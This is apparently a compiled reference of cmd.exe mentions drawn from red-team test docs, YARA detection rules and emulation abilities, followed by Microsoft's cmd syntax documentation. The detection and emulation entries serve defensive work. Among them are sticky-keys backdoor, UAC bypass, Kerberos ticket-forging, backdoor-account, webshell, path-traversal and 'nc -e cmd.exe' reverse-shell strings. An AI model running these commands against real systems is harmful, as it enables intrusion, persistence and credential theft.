atomic-red-team T1546.008.md Upon successful execution, powershell will modify the registry and swap osk.exe with cmd.exe. MIT License. © 2018 Red Canary
atomic-red-team T1546.008.md | attached_process | Full path to process to attach to target in #{parent_list}. Default: cmd.exe | Path | C:\windows\system32\cmd.exe| MIT License. © 2018 Red Canary
atomic-red-team T1546.008.md Replace sticky keys binary (sethc.exe) with cmd.exe MIT License. © 2018 Red Canary
atomic-red-team T1546.008.md copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe MIT License. © 2018 Red Canary
atomic-red-team T1546.012.md Similar to Accessibility Features, on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures “cmd.exe,” or another program that provides backdoor access, as a “debugger” for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with Remote Desktop Protocol will cause the “debugger” program to be executed with SYSTEM privileges. (Citation: Tilbury 2014) MIT License. © 2018 Red Canary
atomic-red-team T1546.012.md | payload_binary | Binary To Execute | Path | C:\Windows\System32\cmd.exe| MIT License. © 2018 Red Canary
atomic-red-team T1547.001.md Upon successful execution, cmd.exe will modify the registry by adding "Atomic Red Team" to the Run key. Output will be via stdout. MIT License. © 2018 Red Canary
atomic-red-team T1547.001.md Upon successful execution, cmd.exe will modify the registry to load AtomicRedTeam.dll to RunOnceEx. Output will be via stdout. MIT License. © 2018 Red Canary
atomic-red-team T1547.004.md Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff. MIT License. © 2018 Red Canary
atomic-red-team T1547.004.md | binary_to_execute | Path of binary to execute | Path | C:\Windows\System32\cmd.exe| MIT License. © 2018 Red Canary
atomic-red-team T1547.009.md $ShortCut.TargetPath=”cmd.exe” MIT License. © 2018 Red Canary
atomic-red-team T1548.002.md | executable_binary | Binary to execute with UAC Bypass | Path | C:\Windows\System32\cmd.exe| MIT License. © 2018 Red Canary
atomic-red-team T1548.002.md cmd.exe /c eventvwr.msc MIT License. © 2018 Red Canary
atomic-red-team T1548.002.md Upon successful execution, sdclt.exe will spawn cmd.exe to spawn notepad.exe MIT License. © 2018 Red Canary
atomic-red-team T1548.002.md | command.to.execute | Command to execute | String | cmd.exe /c notepad.exe| MIT License. © 2018 Red Canary
atomic-red-team T1558.001.md cmd.exe /c “#{local_folder}#{local_executable}” golden /aes256:#{krbtgt_aes256_key} /ldap /user:#{account} /dc:$(#{domaincontroller}) /printcmd /outfile:golden MIT License. © 2018 Red Canary
atomic-red-team T1558.003.md cmd.exe /c “#{local_folder}#{local_executable}” kerberoast #{flags} /outfile:”#{local_folder}#{out_file}” MIT License. © 2018 Red Canary
atomic-red-team T1558.004.md cmd.exe /c “#{local_folder}#{local_executable}” asreproast /outfile:”#{local_folder}#{out_file}” MIT License. © 2018 Red Canary
atomic-red-team T1559.002.md {DDEAUTO c:\windows\system32\cmd.exe “/k calc.exe” } MIT License. © 2018 Red Canary
atomic-red-team T1559.002.md 9. DDEAUTO c:\windows\system32\cmd.exe “/k calc.exe” MIT License. © 2018 Red Canary
atomic-red-team T1562.001.md if ((cmd.exe /c “where.exe Sysmon.exe 2> nul | findstr Sysmon 2> nul”) -or (Test-Path $env:Temp\Sysmon\Sysmon.exe)) { exit 0 } else { exit 1 } MIT License. © 2018 Red Canary
atomic-red-team T1562.001.md if(cmd.exe /c “where.exe Sysmon.exe 2> nul | findstr Sysmon 2> nul”) { C:\Windows\Sysmon.exe -accepteula -i } else MIT License. © 2018 Red Canary
atomic-red-team T1563.002.md sc.exe create sesshijack binpath= “cmd.exe /k tscon #{Session_ID} /dest:#{Destination_ID}” MIT License. © 2018 Red Canary
atomic-red-team T1564.004.md | payload_path | Path of file to hide in ADS | Path | c:\windows\system32\cmd.exe| MIT License. © 2018 Red Canary
atomic-red-team T1569.002.md Upon successful execution, cmd.exe creates a new service using sc.exe that will start powershell.exe to create a new file art-marker.txt MIT License. © 2018 Red Canary
atomic-red-team T1574.011.md | malicious_service_path | malicious service path | String | %windir%\system32\cmd.exe| MIT License. © 2018 Red Canary
signature-base apt_apt15.yar $ = “Cmd.Exe” wide CC BY-NC 4.0
signature-base apt_apt27_hyperbro.yar $s1 = “\cmd.exe /A” fullword wide CC BY-NC 4.0
signature-base apt_apt29_nobelium_may21.yar $s2 = “cmd.exe /c start BOOM.exe” ascii wide CC BY-NC 4.0
signature-base apt_apt34.yar $x1 = “WshShell.run "cmd.exe /C C:\ProgramData\” ascii CC BY-NC 4.0
signature-base apt_apt34.yar $x3 = “cmd.exe /C certutil -f -decode C:\ProgramData\” ascii CC BY-NC 4.0
signature-base apt_apt3_bemstour.yar $cmdline_3 = “cmd.exe /c net user test test /add && cmd.exe /c net localgroup administrators test /add” ascii wide CC BY-NC 4.0
signature-base apt_blackenergy.yar $s0 = “system32\cmd.exe” fullword ascii CC BY-NC 4.0
signature-base apt_casper.yar $a0 = “cmd.exe /C FOR /L %%i IN (1,1,%d) DO IF EXIST” CC BY-NC 4.0
signature-base apt_cn_pp_zerot.yar $x1 = “%s\cmd.exe /c %s\Zlh.exe” fullword ascii CC BY-NC 4.0
signature-base apt_codoso.yar $s0 = “cmd.exe /c ping 127.0.0.1 && ping 127.0.0.1 && sc start %s && ping 127.0.0.1 && sc start %s” fullword ascii CC BY-NC 4.0
signature-base apt_codoso.yar $x1 = “cmd.exe /c ping 127.0.0.1 && ping 127.0.0.1 && sc start %s && ping 127.0.0.1 && sc start %s” fullword ascii CC BY-NC 4.0
signature-base apt_dnspionage.yar $s2 = “CMD.exe” fullword wide CC BY-NC 4.0
signature-base apt_dustman.yar $s1 = “C:\windows\system32\cmd.exe” fullword ascii CC BY-NC 4.0
signature-base apt_emissary.yar $s1 = “cmd.exe /c %s > %s” fullword ascii CC BY-NC 4.0
signature-base apt_freemilk.yar $s1 = “CMD.EXE /C "%s"” fullword wide CC BY-NC 4.0
signature-base apt_glassRAT.yar $s1 = “cmd.exe /c %s” fullword ascii CC BY-NC 4.0
signature-base apt_glassRAT.yar $s7 = “cmd.exe /c erase /F "%s"” fullword ascii CC BY-NC 4.0
signature-base apt_golddragon.yar $s1 = “cmd.exe /c systeminfo “ fullword ascii CC BY-NC 4.0
signature-base apt_golddragon.yar $s4 = “cmd.exe /c tasklist “ fullword ascii CC BY-NC 4.0
signature-base apt_hafnium_log_sigs.yar $x1 = “cmd.exe /c cd /d C:/inetpub/wwwroot/aspnet_client” ascii wide CC BY-NC 4.0
signature-base apt_hafnium_log_sigs.yar $x2 = “cmd.exe /c cd /d C:\inetpub\wwwroot\aspnet_client” ascii wide CC BY-NC 4.0
signature-base apt_hellsing_kaspersky.yar $cmd = “cmd.exe /c ping 127.0.0.1 -n 5&cmd.exe /c del /a /f "%s"” CC BY-NC 4.0
signature-base apt_hellsing_kaspersky.yar $a2 = “system32\cmd.exe” wide CC BY-NC 4.0
signature-base apt_hellsing_kaspersky.yar $a10 = “%SystemRoot%\system32\cmd.exe” wide CC BY-NC 4.0
signature-base apt_irontiger.yar $s3 = “C:\Windows\System32\cmd.exe /C schtasks /create /tn "\Microsoft\Windows\PLA\System\Microsoft Windows" /tr “ fullword ascii CC BY-NC 4.0
signature-base apt_irontiger.yar $s4 = “C:\Windows\System32\cmd.exe /C schtasks /create /tn "Microsoft Windows" /tr “ fullword ascii CC BY-NC 4.0
signature-base apt_keyboys.yar $s9 = “%s\cmd.exe /c "%s"” fullword ascii CC BY-NC 4.0
signature-base apt_keyboys.yar $s1 = “cmd.exe /c "%s"” fullword ascii CC BY-NC 4.0
signature-base apt_keylogger_cn.yar $s1 = “\cmd.exe /c "systeminfo.exe » “ fullword ascii CC BY-NC 4.0
signature-base apt_keylogger_cn.yar $s2 = “%s\cmd.exe /c %s » "%s"” fullword ascii CC BY-NC 4.0
signature-base apt_laudanum_webshells.yar $s1 = “Executable: <Input type="text" name="cmd" value="cmd.exe">
” fullword ascii /* PEStudio Blacklist: strings */		 CC BY-NC 4.0
signature-base apt_lazarus_aug20.yar $str_mask_1 = “cmd.exe /c "%s » %s 2>&1"” ascii wide CC BY-NC 4.0
signature-base apt_lazarus_aug20.yar $str_mask_2 = “cmd.exe /c "%s 2» %s"” ascii wide CC BY-NC 4.0
signature-base apt_lazarus_dec17.yar $x7 = “$cmdResult = cmd.exe /c $cmdInst | Out-String;” fullword ascii CC BY-NC 4.0
signature-base apt_monsoon.yar $s1 = “cmd.exe /c start “ fullword ascii CC BY-NC 4.0
signature-base apt_naikon.yar $s12 = “\cmd.exe” fullword wide CC BY-NC 4.0
signature-base apt_nk_gen.yar $s1 = “%s\cmd.exe /c %s” fullword ascii CC BY-NC 4.0
signature-base apt_oilrig.yar $a2 = “cmd.exe /c “ fullword ascii CC BY-NC 4.0
signature-base apt_oilrig.yar $two3 = “vbs = "cmd.exe /c SchTasks” ascii wide CC BY-NC 4.0
signature-base apt_oilrig_oct17.yar $s3 = “C:\windows\system32\cmd.exe /c (“ fullword ascii CC BY-NC 4.0
signature-base apt_olympic_destroyer.yar $x1 = “cmd.exe /c (ping 0.0.0.0 > nul) && if exist %programdata%\evtchk.txt” fullword wide CC BY-NC 4.0
signature-base apt_olympic_destroyer.yar $x2 = “cmd.exe /c (echo strPath = Wscript.ScriptFullName & echo.Set FSO = CreateObject^("Scripting.FileSystemObject"^)” wide CC BY-NC 4.0
signature-base apt_op_cloudhopper.yar $x1 = “strNetUse = "cmd.exe /c net use \\" & host” fullword ascii CC BY-NC 4.0
signature-base apt_op_cloudhopper.yar $x2 = “localcmd = "cmd.exe /c " & command “ ascii CC BY-NC 4.0
signature-base apt_op_cloudhopper.yar $x4 = “strExec = "cmd.exe /c " & cmd & " » " & resultfile & " 2>&1" ‘2>&1 err” fullword ascii CC BY-NC 4.0
signature-base apt_passcv.yar $s1 = “cmd.exe /c MD “ fullword ascii CC BY-NC 4.0
signature-base apt_passthehashtoolkit.yar $s0 = “. Create a new logon session and run a command with the specified credentials (e.g.: -r cmd.exe)" fullword ascii /* PEStudio Blacklist: strings */ /* score: '59.00' */ CC BY-NC 4.0
signature-base apt_passthehashtoolkit.yar $s1 = “. Create a new logon session and run a command with the specified credentials (e.g.: -r cmd.exe)" fullword ascii /* PEStudio Blacklist: strings */ /* score: '59.00' */ CC BY-NC 4.0
signature-base apt_poseidon_group.yar $s1 = “c:\winnt\system32\cmd.exe” fullword ascii CC BY-NC 4.0
signature-base apt_poseidon_group.yar $s2 = “c:\windows\system32\cmd.exe” fullword ascii CC BY-NC 4.0
signature-base apt_ruag.yar $s3 = “exe = cmd.exe” ascii CC BY-NC 4.0
signature-base apt_sakula.yar $str01 = “cmd.exe /c ping 127.0.0.1 & del "%s"” CC BY-NC 4.0
signature-base apt_sakula.yar $str02 = “cmd.exe /c rundll32 "%s" Play "%s"” CC BY-NC 4.0
signature-base apt_sakula.yar $str04 = “cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c "%s"” CC BY-NC 4.0
signature-base apt_sakula.yar $str08 = “cmd.exe /c rundll32 "%s" ActiveQvaw "%s"” CC BY-NC 4.0
signature-base apt_scarcruft.yar $x2 = “cmd.exe /C ping 0.1.1.2” wide CC BY-NC 4.0
signature-base apt_shellcrew_streamex.yar $x1 = “cmd.exe /c "%s"” fullword wide CC BY-NC 4.0
signature-base apt_snowglobe_babar.yar $x5 = “cmd.exe” fullword ascii CC BY-NC 4.0
signature-base apt_sofacy_xtunnel_bundestag.yar $x3 = “C:\Windows\System32\cmd.exe” fullword wide CC BY-NC 4.0
signature-base apt_suckfly.yar $s1 = “cmd.exe /c %s” fullword ascii CC BY-NC 4.0
signature-base apt_ta17_293A.yar $x2 = “0x00000002, "C:\Windows\System32\cmd.exe", "",” fullword ascii CC BY-NC 4.0
signature-base apt_ta17_318B.yar $s3 = “cmd.exe /c %s > %s 2>&1” fullword wide CC BY-NC 4.0
signature-base apt_ta18_149A.yar $x1 = “cmd.exe /q /c net share adnim$” ascii CC BY-NC 4.0
signature-base apt_telebots.yar $s1 = “cmd = "cmd.exe /c " + arg + " >" + outfile +" 2>&1"” fullword ascii CC BY-NC 4.0
signature-base apt_telebots.yar $s1 = “cmd = "cmd.exe /c " + arg + " " + arg2” fullword ascii CC BY-NC 4.0
signature-base apt_terracotta.yar $s0 = “cmd.exe /q /c "%s"” fullword ascii CC BY-NC 4.0
signature-base apt_threatgroup_3390.yar $x1 = “1001=cmd.exe” fullword ascii CC BY-NC 4.0
signature-base apt_thrip.yar $s3 = “C:\WINDOWS\system32\cmd.exe” fullword ascii /* Goodware String - occured 2 times */ CC BY-NC 4.0
signature-base apt_thrip.yar $s1 = “C:\Windows\SysNative\cmd.exe” fullword ascii CC BY-NC 4.0
signature-base apt_thrip.yar $x1 = “$.oS.Run(‘cmd.exe /c ‘+a+’” fullword ascii CC BY-NC 4.0
signature-base apt_thrip.yar $s1 = “pGlobal->nOSType==64–%s\cmd.exe %s” fullword ascii CC BY-NC 4.0
signature-base apt_thrip.yar $s1 = “%s\cmd.exe /c %s” fullword ascii CC BY-NC 4.0
signature-base apt_turla.yar $x1 = “sc %s create %s binPath= "cmd.exe /c start %%SystemRoot%%\%s"»%s” fullword ascii CC BY-NC 4.0
signature-base apt_turla.yar $x2 = “cmd.exe /c start %%SystemRoot%%\%s” fullword ascii CC BY-NC 4.0
signature-base apt_turla.yar $x3 = “cmd.exe /c %s\%s -s %s:%s:%s -c "%s %s /wait 1"»%s” fullword ascii CC BY-NC 4.0
signature-base apt_ua_hermetic_wiper.yar $sa3 = “cmd.exe /Q /c move CSIDL_SYSTEM_DRIVE” ascii wide CC BY-NC 4.0
signature-base apt_winnti.yar $a7 = “cmd.exe” wide CC BY-NC 4.0
signature-base apt_winnti.yar $a11 = “\cmd.exe” wide CC BY-NC 4.0
signature-base apt_winnti_burning_umbrella.yar $x1 = “cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del "%s"” fullword ascii CC BY-NC 4.0
signature-base apt_zxshell.yar $x1 = “CMD.EXE /C NET USER GUEST /ACTIVE:yes && NET USER GUEST ++++++” ascii CC BY-NC 4.0
signature-base apt_zxshell.yar $x5 = “ping 127.0.0.1 -n 7&cmd.exe /c net start %s” fullword ascii CC BY-NC 4.0
signature-base apt_zxshell.yar $x6 = “ZXNC -e cmd.exe x.x.x.x” fullword ascii CC BY-NC 4.0
signature-base cn_pentestset_scripts.yar $s2 = “if ShellPath="" Then ShellPath = "c:\\windows\\system32\\cmd.exe"” fullword ascii /* PEStudio Blacklist: strings */ CC BY-NC 4.0
signature-base cn_pentestset_tools.yar $s5 = “cmd.exe” fullword ascii /* PEStudio Blacklist: strings / / Goodware String - occured 120 times */ CC BY-NC 4.0
signature-base cn_pentestset_tools.yar $s3 = “SETP c:\windows\system32\cmd.exe “ fullword wide /* PEStudio Blacklist: strings */ CC BY-NC 4.0
signature-base cn_pentestset_tools.yar $s1 = “Usage : ms11-080.exe cmd.exe Command “ fullword ascii /* PEStudio Blacklist: strings */ CC BY-NC 4.0
signature-base cn_pentestset_tools.yar $s1 = “/msadc/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe” fullword wide /* PEStudio Blacklist: strings */ CC BY-NC 4.0
signature-base cn_pentestset_tools.yar $s2 = “msadc/..\..\..\..\winnt/system32/cmd.exe” fullword wide /* PEStudio Blacklist: strings */ CC BY-NC 4.0
signature-base cn_pentestset_tools.yar $s1 = “C:\WINDOWS\system32\cmd.exe” fullword wide /* PEStudio Blacklist: strings */ CC BY-NC 4.0
signature-base cn_pentestset_webshells.yar $s1 = “<cfexecute name="cmd.exe"” fullword ascii /* PEStudio Blacklist: strings */ CC BY-NC 4.0
signature-base cn_pentestset_webshells.yar $s1 = “if shellpath="" then shellpath = "cmd.exe"” fullword ascii /* PEStudio Blacklist: strings */ CC BY-NC 4.0
signature-base cn_pentestset_webshells.yar $s0 = “response.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall” fullword ascii /* PEStudio Blacklist: strings */ CC BY-NC 4.0
signature-base cn_pentestset_webshells.yar $s0 = “<cfexecute name="C:\Winnt\System32\cmd.exe"” fullword ascii /* PEStudio Blacklist: strings */ CC BY-NC 4.0
signature-base cn_pentestset_webshells.yar $s2 = “if ShellPath="" Then ShellPath = "cmd.exe"” fullword ascii /* PEStudio Blacklist: strings */ CC BY-NC 4.0
signature-base cn_pentestset_webshells.yar $s0 = “fputs ($conn_id, "SITE EXEC ".$dir."cmd.exe /c ".$cmd."\r\n");” fullword ascii /* PEStudio Blacklist: strings */ CC BY-NC 4.0
signature-base cn_pentestset_webshells.yar $s16 = “If LCase(appName) = "cmd.exe" And appArgs <> "" Then” fullword ascii /* PEStudio Blacklist: strings */ CC BY-NC 4.0
signature-base cn_pentestset_webshells.yar $s10 = “if (cmd == null) cmd = "cmd.exe /c set";” fullword ascii /* PEStudio Blacklist: strings */ CC BY-NC 4.0
signature-base cn_pentestset_webshells.yar $s11 = “if (program == null) program = "cmd.exe /c net start > "+SHELL_DIR+"/Log.txt” ascii /* PEStudio Blacklist: strings */ CC BY-NC 4.0
signature-base cn_pentestset_webshells.yar $s1 = “Str[17] = "select shell(‘c:\windows\system32\cmd.exe /c net user b4che10r ab” ascii /* PEStudio Blacklist: strings */ CC BY-NC 4.0
signature-base cn_pentestset_webshells.yar $s1 = “<cfexecute name="C:\Winnt\System32\cmd.exe"” fullword ascii /* PEStudio Blacklist: strings */ CC BY-NC 4.0
signature-base cn_pentestset_webshells.yar $s1 = “If jzgm=""Then jzgm="cmd.exe /c net user"” fullword ascii /* PEStudio Blacklist: strings */ CC BY-NC 4.0
signature-base crime_cn_campaign_njrat.yar $x1 = “cmd.exe /c ping 0 -n 2 & del "” fullword wide CC BY-NC 4.0
signature-base crime_cn_campaign_njrat.yar $a1 = “taskkill /f /im cmd.exe” fullword ascii CC BY-NC 4.0
signature-base crime_fireball.yar $s1 = “cmd.exe /c MD “ fullword ascii CC BY-NC 4.0
signature-base crime_fireball.yar $s1 = “C:\Windows\System32\cmd.exe /c ""” fullword wide CC BY-NC 4.0
signature-base crime_nansh0u.yar $s1 = “taskkill /im cmd.exe /f” fullword ascii CC BY-NC 4.0
signature-base crime_ransom_robinhood.yar $s3 = “cmd.exe /c net use * /DELETE /Y” ascii CC BY-NC 4.0
signature-base crime_wannacry.yar $s3 = “cmd.exe /c "%s"” fullword ascii CC BY-NC 4.0
signature-base exploit_cve_2014_4076.yar $x1 = “[+] Created a new cmd.exe process” fullword ascii CC BY-NC 4.0
signature-base exploit_cve_2017_8759.yar $x1 = “Error = Process.Create("powershell -nop cmd.exe /c” fullword ascii CC BY-NC 4.0
signature-base exploit_uac_elevators.yar $s1 = “\cmd.exe” wide CC BY-NC 4.0
signature-base exploit_uac_elevators.yar $s1 = “%systemroot%\system32\cmd.exe” wide CC BY-NC 4.0
signature-base exploit_uac_elevators.yar description = “Detects s4u executable which allows the creation of a cmd.exe with the context of any user without requiring the password. - file s4u.exe” CC BY-NC 4.0
signature-base exploit_uac_elevators.yar $g1 = “%systemroot%\system32\cmd.exe” wide CC BY-NC 4.0
signature-base gen_cn_hacktools.yar $s1 = “Usage : ms11-080.exe cmd.exe Command “ fullword ascii CC BY-NC 4.0
signature-base gen_cn_webshells.yar $s4 = “program = "cmd.exe /c net start > " + SHELL_DIR” fullword ascii CC BY-NC 4.0
signature-base gen_cn_webshells.yar $s5 = “: "c:\\windows\\system32\\cmd.exe")” fullword ascii CC BY-NC 4.0
signature-base gen_cn_webshells.yar $s1 = “if ShellPath="" Then ShellPath = "cmd.exe"” fullword ascii CC BY-NC 4.0
signature-base gen_cn_webshells.yar $s1 = “program = "cmd.exe /c net start > " + SHELL_DIR” fullword ascii CC BY-NC 4.0
signature-base gen_cn_webshells.yar $s3 = “<option value=\"nc -e cmd.exe 192.168.230.1 4444\">nc</option>"” fullword ascii CC BY-NC 4.0
signature-base gen_cn_webshells.yar $s4 = “cmd = "cmd.exe /c set";” fullword ascii CC BY-NC 4.0
signature-base gen_cn_webshells.yar $s1 = “cmd=chr(34)&"cmd.exe /c "&request.form("cmd")&" > 8617.tmp"&chr(34)” fullword ascii CC BY-NC 4.0
signature-base gen_cn_webshells.yar $s0 = “Dim myProcessStartInfo As New ProcessStartInfo("cmd.exe")” fullword ascii CC BY-NC 4.0
signature-base gen_crimson_rat.yar $x3 = “cmd.exe/c systeminfo » 1.txt” fullword wide CC BY-NC 4.0
signature-base gen_fireeye_redteam_tools.yar $s5 = /self.__shell[\x09\x20]{0,32}=[\x09\x20]{0,32}[\x22\x27]cmd.exe[\x09\x20]{1,32}\/q[\x09\x20]{1,32}\/K [\x22\x27]/ nocase CC BY-NC 4.0
signature-base gen_khepri.yar $sa2 = “cmd.exe /c “ CC BY-NC 4.0
signature-base gen_malware_set_qa.yar $s1 = “cmd.exe /c ping 0 -n 2 & del "” fullword wide CC BY-NC 4.0
signature-base gen_mal_link.yar $c1 = “C:\Windows\System32\cmd.exe” ascii wide CC BY-NC 4.0
signature-base gen_mal_link.yar $s1 = “cmd.exe /” ascii wide nocase CC BY-NC 4.0
signature-base gen_p0wnshell.yar $x5 = “FileName = "cmd.exe",” fullword ascii CC BY-NC 4.0
signature-base gen_p0wnshell.yar $x3 = “-CreateProcess "cmd.exe" -Username "nt authority\system"” fullword wide CC BY-NC 4.0
signature-base gen_rats_malwareconfig.yar $s7 = “cmd.exe /c rundll32 "%s"” CC BY-NC 4.0
signature-base gen_rats_malwareconfig.yar $v1 = “cmd.exe /k ping 0 & del” wide CC BY-NC 4.0
signature-base gen_rats_malwareconfig.yar $v2 = “cmd.exe /c ping 127.0.0.1 & del” wide CC BY-NC 4.0
signature-base gen_rats_malwareconfig.yar $v3 = “cmd.exe /c ping 0 -n 2 & del” wide CC BY-NC 4.0
signature-base gen_redmimicry.yar $cmd0 = “C:\Windows\System32\cmd.exe” ascii fullword CC BY-NC 4.0
signature-base gen_rottenpotato.yar $s1 = “"C:\Windows\System32\cmd.exe" /K start” fullword wide CC BY-NC 4.0
signature-base gen_sharpcat.yar $s2 = “C:\Windows\System32\cmd.exe” fullword wide CC BY-NC 4.0
signature-base gen_suspicious_strings.yar $s3 = “cmd.exe /C script:http://” ascii nocase CC BY-NC 4.0
signature-base gen_suspicious_strings.yar $s4 = “cmd.exe /C script:https://” ascii nocase CC BY-NC 4.0
signature-base gen_susp_lnk_files.yar $command = “C:\Windows\System32\cmd.exe” fullword ascii //cmd is precursor to findstr CC BY-NC 4.0
signature-base gen_susp_obfuscation.yar reference = “https://hackingiscool.pl/cmdhijack-command-argument-confusion-with-path-traversal-in-cmd-exe/” CC BY-NC 4.0
signature-base gen_webshells.yar $gen_bit_sus11 = “"cmd.exe” nocase CC BY-NC 4.0
signature-base gen_webshells.yar // execute cmd.exe /c with arguments using ProcessStartInfo CC BY-NC 4.0
signature-base gen_webshells.yar $susasp4 = “cmd.exe” CC BY-NC 4.0
signature-base gen_webshells.yar $asp_gen_sus11 = “"cmd.exe” nocase CC BY-NC 4.0
signature-base gen_webshells.yar $sus2 = “cmd.exe” fullword wide ascii CC BY-NC 4.0
signature-base gen_webshells.yar $exec_shell1 = “cmd.exe” nocase wide ascii CC BY-NC 4.0
signature-base gen_webshells.yar $sus5 = “cmd.exe” fullword wide ascii CC BY-NC 4.0
signature-base gen_webshells.yar $fp1 = “command = "cmd.exe /c set";” CC BY-NC 4.0
signature-base gen_winshells.yar $s1 = “cmd - execute cmd.exe” fullword ascii CC BY-NC 4.0
signature-base gen_winshells.yar $s1 = “[ executing cmd.exe” fullword ascii CC BY-NC 4.0
signature-base mal_ransom_lorenz.yar $x1 = “process call create "cmd.exe /c schtasks /Create /F /RU System /SC ONLOGON “ ascii fullword CC BY-NC 4.0
signature-base mal_ransom_lorenz.yar $s1 = “process call create "cmd.exe /c schtasks /Create /F “ ascii fullword CC BY-NC 4.0
signature-base spy_regin_fiveeyes.yar $a6=”cmd.exe” wide CC BY-NC 4.0
signature-base thor-hacktools.yar $s4 = “GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0” CC BY-NC 4.0
signature-base thor-hacktools.yar description = “ReactOS cmd.exe with correct file name - maybe packed with software or part of hacker toolset” CC BY-NC 4.0
signature-base thor-hacktools.yar $s8 = “a.WriteLine ("cmd.exe")” fullword ascii CC BY-NC 4.0
signature-base thor-hacktools.yar $s1 = “cmd.exe” fullword wide CC BY-NC 4.0
signature-base thor-hacktools.yar $s8 = “Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)” fullword ascii CC BY-NC 4.0
signature-base thor-hacktools.yar $s9 = “/scripts/..%c1%1c../winnt/system32/cmd.exe” fullword ascii CC BY-NC 4.0
signature-base thor-hacktools.yar $s1 = “\cmd.exe" /k wusa c:\users\” ascii CC BY-NC 4.0
signature-base thor-hacktools.yar $x6 = “Trying to map C:\windows\system32\cmd.exe into current process” fullword wide CC BY-NC 4.0
signature-base thor-webshells.yar $s3 = “Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)” fullword CC BY-NC 4.0
signature-base thor-webshells.yar $s9 = “Call oS.Run("win.com cmd.exe /c """ & szCMD & " > " & szTF &” fullword CC BY-NC 4.0
signature-base thor-webshells.yar $s0 = “Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParam” CC BY-NC 4.0
signature-base thor-webshells.yar $s0 = “Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);” fullword CC BY-NC 4.0
signature-base thor-webshells.yar $s7 = “Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)” fullword CC BY-NC 4.0
signature-base thor-webshells.yar $s7 = “Unix:/bin/sh -c tar vxf xxx.tar Windows:c:\winnt\system32\cmd.exe /c type c:” CC BY-NC 4.0
signature-base thor-webshells.yar $s0 = “Call oS.Run("win.com cmd.exe /c del "& szTF,0,True)” fullword CC BY-NC 4.0
signature-base thor-webshells.yar $s3 = “Call oS.Run("win.com cmd.exe /c """ & szCMD & " > " & szTF &” fullword CC BY-NC 4.0
signature-base thor-webshells.yar $s0 = “// note that linux = cmd and windows = "cmd.exe /c + cmd" “ fullword CC BY-NC 4.0
signature-base thor-webshells.yar $s1 = “Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);” fullword CC BY-NC 4.0
signature-base thor-webshells.yar $s14 = “Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)” fullword CC BY-NC 4.0
signature-base thor-webshells.yar $s6 = “Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)” CC BY-NC 4.0
signature-base thor-webshells.yar $s1 = “Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)” CC BY-NC 4.0
signature-base thor-webshells.yar $s1 = “.StartInfo.FileName = ‘cmd.exe’;” ascii fullword CC BY-NC 4.0
stockpile 55678719-e76e-4df9-92aa-10655bbd1cf4.yml name: cmd.exe information gathering Apache-2.0
stockpile 55678719-e76e-4df9-92aa-10655bbd1cf4.yml cmd.exe /c "net user" >> C:\Windows\temp\history.log; Apache-2.0
stockpile 55678719-e76e-4df9-92aa-10655bbd1cf4.yml cmd.exe /c "whoami /priv" >> C:\Windows\temp\history.log; Apache-2.0
stockpile 55678719-e76e-4df9-92aa-10655bbd1cf4.yml cmd.exe /c "netstat -ano" >> C:\Windows\temp\history.log; Apache-2.0
stockpile 5f844ac9-5f24-4196-a70d-17f0bd44a934.yml Commandline = 'cmd.exe /c "timeout /nobreak /t 10 >nul 2>nul & del /f #{location}"'; Apache-2.0
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stockpile 41bb2b7a-75af-49fd-bd15-6c827df25921.yml Invoke-Command -Session $session -ScriptBlock{start-job -scriptblock{cmd.exe /c start C:\Users\Public\svchost.exe -server #{server} } }; Apache-2.0
stockpile 95ad5d69-563e-477b-802b-4855bfb3be09.yml .\Akagi64.exe 30 C:\Windows\System32\cmd.exe Apache-2.0
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Additional Info*

*The information below is copied from MicrosoftDocs, which is maintained by Microsoft. Available under CC BY 4.0 license.

cmd

Starts a new instance of the command interpreter, Cmd.exe. If used without parameters, cmd displays the version and copyright information of the operating system.

Syntax

cmd [/c|/k] [/s] [/q] [/d] [/a|/u] [/t:{<b><f> | <f>}] [/e:{on | off}] [/f:{on | off}] [/v:{on | off}] [<string>]

Parameters

Parameter Description
/c Carries out the command specified by string and then stops.
/k Carries out the command specified by string and continues.
/s Modifies the treatment of string after /c or /k.
/q Turns the echo off.
/d Disables execution of AutoRun commands.
/a Formats internal command output to a pipe or a file as American National Standards Institute (ANSI).
/u Formats internal command output to a pipe or a file as Unicode.
/t:{<b><f> | <f>} Sets the background (b) and foreground (f) colors.
/e:on Enables command extensions.
/e:off Disables commands extensions.
/f:on Enables file and directory name completion.
/f:off Disables file and directory name completion.
/v:on Enables delayed environment variable expansion.
/v:off Disables delayed environment variable expansion.
<string> Specifies the command you want to carry out.
/? Displays help at the command prompt.

The following table lists valid hexadecimal digits that you can use as the values for <b> and <f>:

Value Color
0 Black
1 Blue
2 Green
3 Aqua
4 Red
5 Purple
6 Yellow
7 White
8 Gray
9 Light blue
a Light green
b Light aqua
c Light red
d Light purple
e Light yellow
f Bright white

Remarks

  • To use multiple commands for <string>, separate them by the command separator && and enclose them in quotation marks. For example:

      "<command1>&&<command2>&&<command3>"

  • If you specify /c or /k, cmd processes, the remainder of string, and the quotation marks are preserved only if all of the following conditions are met:

    • You don’t also use /s.

    • You use exactly one set of quotation marks.

    • You don’t use any special characters within the quotation marks (for example: & < > ( ) @ ^ ).

    • You use one or more white-space characters within the quotation marks.

    • The string within quotation marks is the name of an executable file.

